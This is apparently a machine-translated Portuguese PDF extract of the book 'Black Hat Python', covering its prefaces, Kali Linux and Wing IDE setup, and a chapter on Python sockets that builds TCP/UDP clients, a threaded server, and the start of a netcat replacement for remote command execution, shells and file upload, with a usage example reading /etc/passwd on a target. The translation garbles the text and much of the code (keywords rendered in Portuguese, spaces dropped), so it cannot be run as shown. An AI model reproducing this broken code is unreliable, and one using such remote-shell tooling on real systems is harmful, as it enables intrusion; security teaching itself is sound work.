Você está na página 1de 114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

BlackHatPython:ProgramaoPythonpara
HackersePentesters
JustinSeitz

PublicadoporNoStarchPress
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

1/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

paraPat

Emboranuncaconheci,estoueternamentegratoparacadamembrodesuafamliamaravilhosaquemedeu.
CanadianCancerSocietywww.cancer.ca

Sobreoautor
JustinSeitzumpesquisadorsniordeseguranaImmunity,Inc.,ondeelepassasuacaabugtempo,
engenhariareversa,escreverexploits,ecodificaoPython.EleoautordecinzaHatPython,o
primeirolivroparacobrirPythonparaanlisedesegurana.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

2/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

SobreosRevisoresTcnicos
DanFrischtemmaisdedezanosdeexperinciaemseguranadainformao.Atualmente,eleumsniordesegurana
analistaemumaagnciadeaplicaodaleicanadense.Antesqueopapel,eletrabalhoucomoconsultorfornecendo
avaliaesdeseguranaparaasempresasfinanceirasedetecnologianaAmricadoNorte.Porqueeleestobcecadocom
tecnologiaepossuiumafaixapretaterceirograu,vocpodeassumir(corretamente)quetodaasuavidabaseada
emtornoAMatrix.
DesdeosprimeirosdiasdoCommodorePETeVIC20,atecnologiatemsidoumcompanheiroconstante(e
svezesumaobsesso!)paraCliffJanzen.Cliffdescobriusuapaixocarreira,quandoelesemudoupara
seguranadainformaoem2008,apsumadcadadeoperaesdeTI.DuranteosltimosanostemsidoCliff
felizmenteempregadocomoumconsultordesegurana,fazendotudoderevisodapolticadetestesdepenetrao,
eelesesentesortudoporterumacarreiraquetambmoseupassatempofavorito.

Prefcio
Pythonaindaalnguadominantenomundodaseguranadainformao,mesmoseaconversa
cercadeidiomadesuaescolha,porvezes,parecemaisumaguerrareligiosa.ferramentasbaseadasemPythonincluem
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

3/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

todosostiposdefuzzers,proxies,eatmesmooocasionalexplorar.ExploitframeworkscomoCANVAS
soescritosemPythoncomosoferramentasmaisobscuroscomoPyEmuouSulley.
ApenassobrecadafuzzerouexplorartenhoescritotemestadoemPython.Defato,apiratariaautomvel
pesquisaqueChrisValasekeeurealizadarecentementecontinhaumabibliotecaparainjetarmensagensCANsobre
suaredeautomotivausandoPython!
Sevocestinteressadoemmexercomastarefasdeseguranadainformao,Pythonumagrandelinguagemdeaprender
porcausadograndenmerodeengenhariaeexploraobibliotecasreversadisponveisparaseuuso.
Agora,seapenasosdesenvolvedoresMetasploitviriaaseussentidosemudaremRuby,Python,
nossacomunidadeestariamunidos.
Nestenovolivro,Justincobreumagrandevariedadedetpicosqueumjovemhackerempreendedorserianecessrio
parasairdocho.Eleincluiinstruespassoapassodecomolereescreverpacotesderede,como
farejararede,bemcomoqualquercoisaquevocpodeprecisarparaauditoriadeaplicaeswebedeataque.Ele
emseguida,passamergulhodetemposignificativaemcomoescrevercdigoparalidarcomespecificidadesdeatacar
SistemasWindows.Emgeral,PretoHatPythonumaleituradivertida,eenquantoelenopodetransformloemum
Superhackerdegolpecomoeu,certamentepodeajudaracomearnocaminho.Lembrese,a
diferenaentrescriptkiddieseprofissionaisadiferenaentresimplesmenteusandooutra
ferramentasdaspessoaseescreveroseuprprio.
CharlieMiller
St.Louis,Missouri
setembro2014

Prefcio
hackerdePython.Essassoduaspalavrasquevocrealmentepoderiausarparamedescrever.NoImmunity,eutenhosorte
suficienteparatrabalharcompessoasquerealmente,realmente,sabecodificarPython.Eunosouumdaqueles
pessoas.Eupassograndepartedomeutempodetestesdepenetrao,eissoexigeferramentaPythonrpida
desenvolvimento,comfoconaexecuoeentregaderesultados(nonecessariamenteembeleza,
optimization,oumesmoaestabilidade).Aolongodestelivrovocvaiaprenderqueassimqueeucdigo,maseutambm
sintocomosefossepartedoquemeumpentesterfortefaz.Esperoqueestafilosofiaeestilo
ajudaavoctambm.
Comovocprogrideatravsdolivro,voctambmvaiperceberqueeunotomemergulhosprofundosemumnico
tema.Issoocorrepordesign.Euquerodarlheomnimo,comumpoucodesabor,paraquevoctenha
algumconhecimentofundamental.Comissoemmente,eupolvilhadoideiasetrabalhosdecasa
aolongodolivroparaalavancarloemsuaprpriadireo.Encorajovosaaprofundarestasideias,e
Gostariamuitodeouvirdevoltaqualquerumadassuasprpriasimplementaes,asatribuiesdeferramental,oudetrabalhosdecasaque
voctemfeito.
Comoacontececomqualquerlivrotcnico,osleitoresemdiferentesnveisdehabilidadecomoPython(ouaseguranadainformaono
geral)vaiexperimentarestelivrodeformadiferente.Algunsdevocspodemsimplesmenteagarrloeprendercaptulosque
sopertinentesparaumshowdeconsultoriaqueseencontra,enquantooutrospodemllodecapaacapa.euiria
recomendamquesevocumnovatoparaprogramadorPythonintermedirioquevoccomearnoincio
dolivroelloemlinharetaatravsemordem.Vocvaipegaralgunsblocosdeconstruobonsaolongo
ocaminho.
Paracomear,euestabeleceralgunsfundamentosderedenoCaptulo2etrabalharlentamenteonossocaminhoatravs
soquetesbrutosemCaptulo3eusandoscapynoCaptulo4paraalgumasferramentasderedemaisinteressante.
Aprximaseodolivrotratadeaplicaeswebdehacking,comeandocomseuprpriocostume
ferramentalnoCaptulo5edepoisestendendoaSuteArrotarpopularnoCaptulo6.Apartirdavamos
gastamumagrandequantidadedetempoafalardetrojans,comeandocomocomandoGitHubecontroleem
Captulo7,todaamaneiraatravsdoCaptulo10,ondensvaicobriralgumdoWindowsprivilgioescalada
truques.Oltimocaptulosobreousodevolatilidadeparaautomatizaralgumasforensedememriaofensivos
tcnicas.
Eutentomanterasamostrasdecdigocurtoediretoaoponto,eomesmovaleparaasexplicaes.Sevoc
relativamentenovoparaPythonEncorajovosaperfurarcadalinhaparaobteressamemriamusculardecodificao
indo.Todososexemplosdecdigofontedestelivroestodisponveisem
http://nostarch.com/blackhatpython/.
Aquivamosns!
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

4/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Agradecimentos
Eugostariadeagradeceraminhafamliaminhalindaesposa,Clare,emeuscincofilhos,Emily,Carter,
Cohen,Brady,eMasonparatodooincentivoetolernciaenquantoeupasseiumanoe
metadedaminhavidaescrevendoestelivro.Meusirmos,irm,me,pai,ePaulettetambmtmmedadoum
muitamotivaoparacontinuaraempurraratravsdenoimportaoqu.Euamotodosvocs.
ParatodososmeuspessoasnoImmunity(gostariadelistarcadaumdevocsaquiseeutinhaoquarto):obrigadopormetolerar
diariamente.Vocrealmenteumaequipeincrveldesetrabalhar.ParaaequipedaNoStarchTyler,
Bill,Serena,eLeighmuitoobrigadoportodootrabalhoduroquevoccolocouestelivroeoresto
emsuacoleo.Todosnsaprecilo.
Eutambmgostariadeagradeceraosmeusrevisorestcnicos,DanFrischeCliffJanzen.Essescarasdigitadas
ecriticadocadalinhadecdigo,escreveuapoiandocdigo,fezedies,edesdeabsolutamente
incrvelapoiodurantetodooprocesso.Qualquerpessoaqueestescrevendoumlivroinfosecdeverealmente
obteressescarasabordoelesforamsurpreendenteseentoalguns.
Paraorestodevocsrufiesquecompartilhambebe,rieGchats:obrigadopormedeixarirritaregemido
comvocsobreescreverestelivro.

Captulo1.ConfigurandooPython
MeioAmbiente
Esteomenosdivertidomas,noentantocrticapartedolivro,ondenscaminhamosatravsdacriaode
umambienteemqueparaescreveretestarPython.Nsvamosfazerumcursointensivodecriaodeum
mquinadeKaliLinuxvirtual(VM)einstalarumbomIDEparaquevoctenhatudoquevocprecisa
desenvolvercdigo.Atofinaldestecaptulo,vocdeveestarprontoparaenfrentarosexercciosecdigo
exemplosnorestantedolivro.
Antesdecomear,vemfrenteebaixareinstalarVMWarePlayer.[1]Eutambmrecomendoque
voctemalgunsWindowsVMsnopronto,bemcomo,incluindoWindowsXPeWindows7,
deprefernciade32bitsemambososcasos.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

5/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

InstalandoKaliLinux
KaliosucessoradistribuioBackTrackLinux,desenhadoporOffensiveSecurityapartirdo
modocomoumsistemaoperacionaldetestedepenetrao.Elevemcomumasriedeferramentasprinstaladase
baseadonoDebianLinux,entovoctambmvaisercapazdeinstalarumagrandevariedadedeferramentasadicionaise
bibliotecasparaalmdoqueestnoOSparacomear.
Primeiro,pegueumaimagemKaliVMapartirdoseguinteURL:http://images.offensivesecurity.com/kali
linux1.0.9vmi486.7z[2].Baixaredescompactaraimagem,eemseguida,cliqueduploloparafazer
VMWarePlayeraquecla.Onomedeusuriopadroraizeasenhatoor.Istodevedarpara
nomeioambientedetrabalhocompletoKalicomomostradonaFigura11.

Figura11.OdesktopLinuxKali

AprimeiracoisaquevamosfazergarantirqueaversocorretadoPythonestinstalado.Estelivro
vaiusarPython2.7portodaparte.Noshell(AplicativosAcessriosTerminal),executeo
Segue:
root@kali:~#pythonversion
Python2.7.3
root@kali:~#

Sevocbaixouaimagemexataqueeurecomendadoacima,Python2.7serautomaticamente
instalado.Porfavor,notequeousodeumaversodiferentedoPythonpodequebraralgunsdosexemplosdecdigo
nestelivro.Vocfoiavisado.
AgoravamosadicionaralgumaspeasteisdegerenciamentodepacotesPythonsobaformadeeasy_installe
pip.Estessomuitocomoo aptpacotegerente,porqueelespermitemquevocparadiretamenteinstalarPython
bibliotecas,semterquebaixarmanualmente,desempacotareinstallos.Vamosinstalaressesdois
gerenciadoresdepacotes,emitindoosseguintescomandos:
root@kali:~#:aptgetinstalaropythonsetuptoolspythonpip

Quandoospacotessoinstalados,podemosfazerumtesterpidoeinstalaromduloquevamosusarem
Captulo7paraconstruirumbaseadonoGitHubtrojan.Digiteoseguinteemseuterminal:
root@kali:~#:pipinstalargithub3.py

Vocdeveverumasadanoseuterminalindicandoqueabibliotecaestsendobaixadoseinstalados.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

6/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Emseguida,cairemumshellPythonevalidarqueelefoiinstaladocorretamente:
root@kali:~#:python
Python2.7.3(padro,14demarode2014,11:57:14)
[GCC4.7.2]nolinux2
Type"help","copyright","crditos"ou"licena"paramaisinformaes.
>>>Importgithub3
>>>Exit()

Seosresultadosnosoidnticosaestes,emseguida,hum"errodeconfigurao"noseuambientePython
evoctrouxegrandevergonhaparaonossodojoPython!Nestecaso,certifiquesedequevocseguiutodosos
passosacimaequevoctemaversocorretadoKali.
Tenhaemmentequeparaamaioriadosexemplosaolongodestelivro,vocpodedesenvolverseucdigoemumavariedadede
ambientes,incluindoMac,LinuxeWindows.HalgunscaptulosquesoWindows
especfico,eeuvoutercertezadequevocsaibanoinciodocaptulo.
Agoraquetemosanossamquinavirtualhackersconfigurar,vamosinstalarumPythonIDEparaodesenvolvimento.

WingIDE
Enquantoeunormalmentenodefendoprodutosdesoftwarecomerciais,WingIDEomelhorIDEqueeutenho
utilizadonosltimosseteanosnaimunidade.WingIDEfornecetodaafuncionalidadebsicaIDEcomooauto
conclusoeexplicaodosparmetrosdafuno,masasuadepuraorecursossooqueodiferencia
apartirdeoutrosIDEs.VoudarlheumrpidoresumodaversocomercialdoWingIDE,masde
Claroquevocdeveescolherqualquerversomelhorparavoc.[3]

VocpodepegarWingIDEdehttp://www.wingware.com/,eeurecomendoquevocinstaleojulgamentopara
quevocpodeexperimentaremprimeiramoalgumasdasfuncionalidadesdisponveisnaversocomercial.
Vocpodefazeroseudesenvolvimentoemqualquerplataformaquevocdeseja,masquepoderiasermelhorparainstalarWingIDEem
seuKaliVM,pelomenosparacomear.Sevocseguiujuntocomminhasinstrues,atagora,certifiquese
quevocbaixaro32bit.debpacoteparaWingIDE,eguardloparaodiretriodousurio.Ento
cairemumterminaleexecuteoseguinte:
root@kali:~#dpkgiwingide5_5.0.91_i386.deb

EstedeveinstalarWingIDEcomoplanejado.Sevocreceberqualquererrodeinstalao,podehavernoatendida
dependncias.Nestecaso,bastaexecutar:
root@kali:~#aptgetfinstalar

IssodeveresolverquaisquerdependnciasqueestofaltandoeinstalarWingIDE.Paraverificarsevocinstaloulo
corretamente,verifiquesevocpodeacesslo,comomostradonaFigura12.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

7/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura12.AcessandoWingIDEapartirdodesktopKali

FogoatWingIDEeabrirumnovoarquivodePythonembranco.Emseguida,acompanharcomoeudoulheumrpidoresumo
dealgunsrecursosteis.Paracomear,suateladevesersemelhanteaFigura13,comoseucdigoprincipal
readeedionocantosuperioresquerdoeumconjuntodeguiasnaparteinferior.

Figura13.layoutdajanelaprincipalWingIDE

VamosescreverumcdigosimplesparailustraralgumasdasfunesteisdoWingIDE,incluindoa
DebugsondaedadosStackguias.Perfuraroseguintecdigoparaoeditor:
somadef(NUMBER_ONE,NUMBER_TWO):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

8/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

number_one_int=convert_integer(NUMBER_ONE)
number_two_int=convert_integer(NUMBER_TWO)
result=number_one_int+number_two_int
resultadoderetorno
convert_integerdef(number_string):
converted_integer=int(number_string)
converted_integerretorno
answer=sum("1","2")

Esteumexemplomuitoartificial,masumaexcelentedemonstraodecomofazersuavidamaisfcil
comWingIDE.Guardlocomqualquernomedearquivoquevocdeseja,cliquenoDebugitemdemenueselecioneoSelect
CorrentePrincipalDebugarquivocomoopo,comomostradonaFigura14.

Figura14.DefiniroscriptPythonatualparadepurao

Agoradefinirumpontodeinterruponalinhadecdigoquediz:
converted_integerretorno

VocpodefazerissoclicandonamargemesquerdaoupressionandoateclaF9.Vocdeververumpequenopontovermelho
aparecernamargem.AgoraexecuteoscriptpressionandoF5,eexecuodevepararemseupontodeinterrupo.
CliquenapilhadedadosguiaevocdeveverumatelacomoadaFigura15.
OguiaDadosStackvainosmostraralgumasinformaesteis,taiscomooestadodequalquerlocale
variveis
globaisnomomentoemqueonossopontodeinterrupofoiatingido.Istopermitelhedepurarmaisavanado

cdigoondevocprecisainspecionarvariveis
duranteaexecuopararastrearerros.Sevocclicarnodrop

downbar,voctambmpodeverapilhadechamadasatual,quelhedizquefunochamadaafuno
vocestatualmentedentro.TerumolharparaaFigura16paraverorastreamentodepilha.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.graym

9/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura15.Visualizaodedadospilhaapsumabatidadepontodeinterrupo

Figura16.Exibindoorastreamentodepilhaatual

Podemosverqueconvert_integerfoichamadoapartirdasomadefunonalinha3donossoscriptPython.
Issosetornamuitotilsevoctiverchamadasdefunorecursivaouumafunoquechamadodemuitos
potenciaislocais.UsandoaguiaDadosPilhaviremmuitotilemsuaPythondesenvolvimentodecarreira!
AprximacaractersticaimportanteoseparadordedepuraoProbe.EssaguiapermitequevoccairemumshellPythonque
execuodentrodocontextoatualdomomentoexatoemqueopontodeinterrupofoiatingido.Issopermitequevocinspecione
emodificarvariveis,bemcomofragmentospequenosdeescritadocdigodetesteparaexperimentarnovasideiasoua
solucionarproblemas.Figura17demonstracomoinspecionaroconverted_integervarivelemudana
oseuvalor.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

10/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura17.UsandoDebugProbeparainspecionaremodificarasvariveis
locais

Depoisdefazeralgumasmodificaes,poderetomaraexecuodoscript,pressionandoF5.
Mesmoqueesteumexemplomuitosimples,eledemonstraalgunsdosrecursosmaisteisdo
WingIDEparadesenvolveredepurarscriptsemPython.[4]
tudooqueprecisaparacomearadesenvolverocdigoparaorestodestelivro.Noseesqueasobre
tornandomquinasvirtuaispronto,comomquinasdedestinoparaoscaptulosespecficosdoWindows,masclaro
usandohardwarenativonodeveapresentarquaisquerproblemas.
Agoravamosentraremalgumdivertimentoreal!
[1] VocpodebaixaroVMWarePlayerhttp://www.vmware.com/.
[2] Paraobterumalista"clicvel"doslinksnestecaptulo,visitehttp://nostarch.com/blackhatpython/.
[3] Paraumacomparaoderecursosentreasverses,visitehttps://wingware.com/wingide/features/.
[4] SevocjusaumIDEquetemcaractersticascomparveis
sWingIDE,porfavorenviemeumemailouumtweet,porqueeuadoraria

ouvirsobreisso!

Captulo2.ARede:Basics
Aredeesempreseromaissexyarenaparaumhacker.Umatacantepodefazerquasequalquercoisa
comacessoredesimples,comodigitalizaoparaosanfitries,injetarpacotes,farejardados,remotamenteexploraranfitries,
emuitomais.Massevocumatacantequejtrabalhouseucaminhoparaasprofundezasmaisprofundasdeum
alvodaempresa,vocpodeencontrarseemumpoucodeumdilema:voctemnenhumaferramentaparaexecutarrede
ataques.Semnetcat.NoWireshark.Semcompiladoresemmeiosparainstalarum.Noentanto,vocpodeser
surpresosaodescobrirque,emmuitoscasos,vocencontrarinstalarumPython,edemodoqueondevamoscomear.
EstecaptulovailhedaralgumasnoesbsicassobrePythonredeusandoosoquete[5]mdulo.Aolongode
forma,vamosconstruirclientes,servidoreseumproxyTCPe,emseguida,transformlosemnossoprprionetcat,
completocomshelldecomando.Estecaptuloabaseparaoscaptulossubsequentesemque
vaiconstruirumaferramentadedescobertadehosts,implementarsniffersmultiplataforma,ecriarumtrojanremoto
estrutura.Vamoscomear.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

11/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

NetworkingPythonemumpargrafo
OsprogramadorestmumnmerodeferramentasdeterceirosparacriarservidoresderedeeclientesemPython,
masomdulocentralparatodasessasferramentastomada.Estemduloexpetodasaspeasnecessrias
paraescreverrapidamenteclienteseservidoresTCPeUDP,utilizesocketsraw,eassimpordiante.Paraefeitosde
quebraoumanutenodoacessoamquinasdedestino,estemdulotudoquevocrealmenteprecisa.Vamoscomear
criandoalgunsclientessimpleseservidores,osdoisscriptsrpidosdaredemaiscomunsquevocvaiescrever.

clienteTCP
HouveinmerasvezesduranteostestesdepenetraoqueeunecessriosparachicotearacimadeumclienteTCPpara
testeparaservios,enviardadosdelixo,fuzz,ouqualquernmerodeoutrastarefas.Sevocestivertrabalhandodentrodo
limitesdegrandesambientescorporativos,vocnoteroluxodeferramentasderedesou
compiladores,esvezesvocvaimesmoestarfaltandoosprincpiosabsolutoscomoacapacidadedecopiar/colarou
umaconexocomaInternet.EsteolugarondesercapazdecriarrapidamenteumclienteTCPvememextremamente
calhar.Masjabberingsuficientevamoscomearacodificao.AquiumclienteTCPsimples.
tomadadeimportao
target_host="www.google.com"
target_port=80
#Criarumobjetodesoquete
cliente=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#Conectarocliente
client.connect((target_host,target_port))
#Enviaralgunsdados
client.send("GET/HTTP/1.1\r\nHost:google.comr\n\r\n\")
#Receberalgunsdados

resposta=client.recv(4096)
respostadeimpresso

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

12/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Emprimeirolugar,criarumobjetodesoquetecomoAF_INETeSOCK_STREAMparmetros.oAF_INET
parmetroestdizendoquevamosusarumendereopadroIPv4ounomedohosteSOCK_STREAM
indicaqueesteserumclienteTCP.Emseguida,conectaroclienteparaoservidoreenviloalguns
dados.Oltimopassoreceberalgunsdadosdevoltaeimprimiraresposta.Esteomaissimples
formadeumclienteTCP,masoquevocvaiescrevernamaioriadasvezes.
Notrechodecdigoacima,estamosfazendoalgumashiptesessriassobresoquetesquevocdefinitivamente
querestarciente.Oprimeiropressupostoqueanossaconexosempreterxito,easegunda
queoservidorsemprequeesperamparaenviardadosprimeiro(emoposioaosservidoresqueesperarparaenviar
dadosparavocemprimeirolugareaguardamasuaresposta).Nossaterceirasuposioqueoservidorsempreenvienos
dadosdevoltaemtempohbil.Fazemosessassuposiesemgrandeparteporcausadasimplicidade.Enquanto
programadorestmopiniesvariadassobrecomolidarcomsoquetesdebloqueio,lidarcomexceesno
sockets,eassimpordiante,muitoraroparapentestersparaconstruiressassutilezasnasferramentasrpidasesujo
parareconhecimentoouotrabalhodeexplorao,porissovamosomitilosnestecaptulo.

clienteUDP
UmclientePythonUDPnomuitodiferentedoqueumclienteTCPnsprecisamosfazerapenasduaspequenasalteraes
paraobtloparaenviarpacotesemformaUDP.
tomadadeimportao
target_host="127.0.0.1"
target_port=80
#Criarumobjetodesoquete
cliente=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#Enviaralgunsdados
client.sendto("aaabbbccc",(target_host,target_port))
#Receberalgunsdados
dedados,endereo=client.recvfrom(4096)
dadosdeimpresso

Comovocpodever,nsalterarotipodesoqueteparaSOCK_DGRAMaocriaroobjetosocket.o
prximopassosimplesmentechamarsendto(),passandoosdadoseoservidorquepretendeenviarosdados
para.ComooUDPumprotocolosemconexo,nohnenhumachamadaparaconnect()deantemo.Oltimo
passochamarrecvfrom()parareceberdadosUDPdevolta.Voctambmvainotarqueeleretornatantoa
dedadoseosdetalhesdohostremotoeporta.
Maisumavez,nsnoestamosolhandoparaserprogramadoresderedesuperioresqueremosserrpido,fcile
confivelosuficienteparalidarcomasnossastarefasdehackersdodiaadia.Vamospassaracriaralgumassimples
servidores.

TCPServer
CriandoservidoresTCPemPythontofcilquantocriarumcliente.Vocpodequererusaroseuprprio
servidorTCPaoescrevershellsdecomandoouaelaboraodeumaproxy(sendoqueambosvamosfazermaistarde).Vamos
comearporcriarumservidorTCPmultiroscapadro.Marchaparaforaocdigoabaixo:
tomadadeimportao
rosqueamentodeimportao

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

13/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

bind_ip
="0.0.0.0"
bind_port=9999

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))

server.listen(5)
print"[*]Ouviron%s:%d"%(bind_ip,bind_port)
#Esteonossosegmentodetratamentodecliente
defhandle_client(client_socket):
#Imprimiroqueoclienteenvia
request=client_socket.recv(1024)
print"[*]recebida:%s"pedido%
#Enviardevoltaumpacote
client_socket.send("ACK!")
client_socket.close()
whileTrue:

cliente,addr=server.accept()
print"[*]conexoaceitesapartirde:%s:%d"%(addr[0],addr[1])

#Giraronossosegmentodoclienteparalidarcomdadosdeentrada
client_handler=threading.Thread(target=handle_client,args=(cliente,))
client_handler.start()

Paracomear,nspassamosoendereoIPeaportaquedesejaqueoservidorparaescutarem.Emseguidansdizera
servidorparacomearaouvircomumatrasomximodeconexesdefinidaspara5.Emseguida,colocaroservidor
emseuloopprincipal,ondeeleestesperandoporumaconexodeentrada.Quandoumclienteseconecta,ns
recebersocketoclienteparaoclientevarivel,eosdetalhesdeconexoremotaparaoendereo
varivel.Emseguida,criarumnovoobjetodediscussoqueapontaparaonossohandle_clientfuno,epassamos
queoobjetosocketclientecomoumargumento.Emseguida,iniciarothreadparalidarcomaconexodocliente,
enossoprincipalloopdeservidorestprontoparalidarcomoutraconexodeentrada.Ohandle_client
funoexecutaorecv()e,emseguida,enviaumamensagemsimplesparaocliente.
SevocusaoclienteTCPqueconstrumosanteriormente,vocpodeenviaralgunspacotesdetesteparaoservidorevoc
deveverumasadasemelhanteaoseguinte:
[*]Escutaem0.0.0.0:9999
[*]Conexoaceitesapartirde:127.0.0.1:62512
[*]Recebida:ABCDEF

issoa!Muitosimples,masestaumapeamuitotildecdigoqueseestendernosprximosdois
desecesquandonsconstrumosumsubstitutonetcateumproxyTCP.

substituindoNetcat
Netcatafacadotrabalhoemrede,porissonenhumasurpresaqueosadministradoresdesistemasastutosremover
loapartirdeseussistemas.Emmaisdeumaocasio,eucorreremservidoresquenotmnetcat
instalado,mastenhoPython.Nestescasos,tilparacriarumclientederedesimpleseservidor
quevocpodeusarparaempurrarosarquivos,oudeterumouvintequelhedacessodelinhadecomando.Sevoctiver
quebradanomeiodeumaaplicaoweb,definitivamentevaleapenadeixarcairumachamadaderetornoPythonparalhedar
acessosecundriosemterqueprimeiroqueimarumdeseustrojansoubackdoors.Criaodeumaferramentacomo
estetambmumgrandeexerccioPython,entovamoscomear.
sysimportao
tomadadeimportao
getoptimportao
rosqueamentodeimportao
subprocessimportao
#Definiralgumasvariveis
globais

ouo
=False
comando
=False
Envio
=False
executar
=""
alvo
=""
upload_destination=""
porta
=0

Aqui,estamosapenasaimportaodetodasasnossasbibliotecasnecessriasedefiniralgumasvariveis
globais.No

trabalhopesadoainda.
Agoravamoscriaranossafunoprincipalresponsvelpelotratamentodeargumentosdelinhadecomandoechamandoo
restodenossasfunes.
defuso():
print"FerramentaNetBHP"
impresso
print"Uso:bhpnet.pyttarget_hostpport"
print"llisten
Escutarem[host]:[port]para
conexesdeentrada"
print"eexecute=file_to_runexecutaroarquivofornecidoemcima
receberumaligao"
print"ccommand
Inicializarumshelldecomando"
print"uupload=destinoaoreceberconexocarregarum
arquivoegravarem[destino]"
impresso
impresso
impresso"Exemplos:"
print"bhpnet.pyt192.168.0.1p5555lc"
print"bhpnet.pyt192.168.0.1p5555lu=c:\\target.exe"
print"bhpnet.pyt192.168.0.1p5555le=\"cat/etc/passwd\""
print"echo'ABCDEFGHI'|./bhpnet.pyt192.168.11.12p135"
sys.exit(0)

defmain():
mundialouvir
portmundial

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

14/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
globaldeexecuo
comandoglobal
upload_destinationmundial
metaglobal
senolen(sys.argv[1:]):
uso()
#Lerasopesdelinhadecomando

experimentar:
opta,args=getopt.getopt(sys.argv[1:]",hle:t:p:cu:",
["Ajuda","ouvir","executar","alvo","port","comando","upload"])
excetogetopt.GetoptErrorcomoerr:
strimpresso(err)
uso()

parao,umaemopta:
Seoin("h","help"):
uso()
elifoin("l","oua"):
oua=True
elifoin("e","execute"):
executarum=
elifoin("c","commandshell"):
comando=true
elifoin("u","upload"):
upload_destination=um
elifoin("t","target"):
target=a
elifoin("p","port"):
porto=int(a)
outro:
afirmamFalse,"Optionnotratada"

#Vamosouvirouapenasenviardadosdestdin?
senoouvirelen(alvo)eport>0:

#Lidonobufferapartirdalinhadecomando
#Istoirbloquear,entoenviarCTRLD,senoenviarentrada
#Parastdin
tamposys.stdin.read=()
#Enviardadosoff
client_sender(buffer)
#Vamosouvirepotencialmente
#Uploaddecoisas,executarcomandos,esoltarumshelldevolta
#Dependendodenossasopesdelinhadecomandoacima
seouvir:
server_loop()

aPrincipal()

Comeamosaleituraemtodasasopesdelinhadecomandoedefinirasvariveis
necessrias

dependendodasopesquedetectam.Sequalquerumdosparmetrosdelinhadecomandonocorrespondemaosnossoscritrios,
queimprimirinformaesdeusotil.Noprximoblocodecdigo,estamosatentarimitarnetcat
paralerdadosdestdineenviloatravsdarede.Comoseobserva,sevocplanejaenviardados
interativamente,vocprecisaenviarumCTRLDparaignoraraleiturastdin.Apeafinalondens
detectarqueestamosacriarumsocketdeescutaeprocessaroutroscomandos(uploaddeumarquivo,executarum
comando,inicieumshelldecomando).
Agoravamoscomearacolocarnoencanamentoparaalgumasdestascaractersticas,comeandocomonossocdigodecliente.Adicionar
